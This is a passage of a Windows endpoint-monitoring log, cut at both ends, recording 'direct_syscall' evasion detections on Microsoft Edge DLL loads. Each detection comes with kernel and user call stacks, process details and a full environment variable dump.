C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffcdd6172ff C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffcdd616e1f C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffc8f3f58d9 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8f3f581f C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8f3f56f0 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8f3f5049 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8f3f4f0d C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8f2f520a C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8f2f4cb3 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8f2f4a88 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8f2f4956 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8f380c25 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8f380af4 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8f322454 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8f321967 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8f321b07 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8f321971 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8f321e19 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8f321959 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8f321870 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8f3217ca C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8f321577 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8f26d9de C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8ecb7f1d C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc94729118 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CrashForExceptionInNonABICompliantCodeRange|0x7ffc94727fd3 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CrashForExceptionInNonABICompliantCodeRange|0x7ffc8eca99a3 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc95506657 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!sqlite3_dbdata_init|0x7ffc8ecfaa27 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8ee48f69 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8ee48d34 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8ee48bf1 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc946cc644 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CrashForExceptionInNonABICompliantCodeRange|0x7ffc946c973d C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CrashForExceptionInNonABICompliantCodeRange|0x7ffc946a8b1f C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CrashForExceptionInNonABICompliantCodeRange|0x7ffc8eca99a3 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8ecfaa27 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8ee48f69 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8ee48d34 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8ee48bf1 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8ee48a66 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8f9e57b0 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!RelaunchChromeBrowserWithNewCommandLineIfNeeded|0x7ffc8f2d62b2 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8f2d6236 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8f18829b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc9a9819da C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateTestWebClientProxy|0x7ffc8f26b011 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8ed06e6d C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8ed06ddf C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffcdd137846 C:\Windows\System32\user32.dll!CallWindowProcW|0x7ffcdd13539d C:\Windows\System32\user32.dll!IsWindowUnicode|0x7ffc8edf12a9 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8ecbf3f0 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8ecbee69 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8de436f3 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8e3c759e C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8e433f73 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8f129dd8 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8cec271d C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec1a6b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec0b46 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceaea2f C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceae2af C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceada86 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cead471 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ff7cf770137 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf76cfb6 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf81ce32 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:15+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4169704 + Pid: 7364 + Tid: 18496 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:13.1510862 +0100 CET + Params: base_address➜ 7ffcccd80000, checksum➜ 72452, default_address➜ 7ffcccd80000, file_path➜ C:\Windows\System32\version.dll, image_size➜ 45056, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Parent name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Parent cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffcde9e3c3c C:\Windows\System32\ntdll.dll!RtlGetFullPathName_UstrEx|0x7ffcdea541ba C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffcde9f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea1fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffcdbb6d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ff7cf76c192 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf81ce32 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:15+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4169709 + Pid: 7364 + Tid: 18496 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:13.1515823 +0100 CET + Params: base_address➜ 7ffcdd990000, checksum➜ 760295, default_address➜ 7ffcdd990000, file_path➜ C:\Windows\System32\msvcrt.dll, image_size➜ 692224, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ WINDOWS, signature_type➜ FILE_VERIFIED + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Parent name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Parent cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e49f1 C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9f977e C:\Windows\System32\ntdll.dll!RtlAnsiStringToUnicodeString|0x7ffcde9f794e C:\Windows\System32\ntdll.dll!RtlUTF8ToUnicodeN|0x7ffcde9e4f98 C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffcde9e3c3c C:\Windows\System32\ntdll.dll!RtlGetFullPathName_UstrEx|0x7ffcdea541ba C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffcde9f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea1fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffcdbb6d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ff7cf76c192 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf81ce32 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:15+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4169741 + Pid: 7364 + Tid: 18496 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:13.1533839 +0100 CET + Params: base_address➜ 7ffcdda40000, checksum➜ 1029623, default_address➜ 7ffcdda40000, file_path➜ C:\Windows\System32\SHCore.dll, image_size➜ 991232, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ WINDOWS, signature_type➜ FILE_VERIFIED + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Parent name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Parent cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: 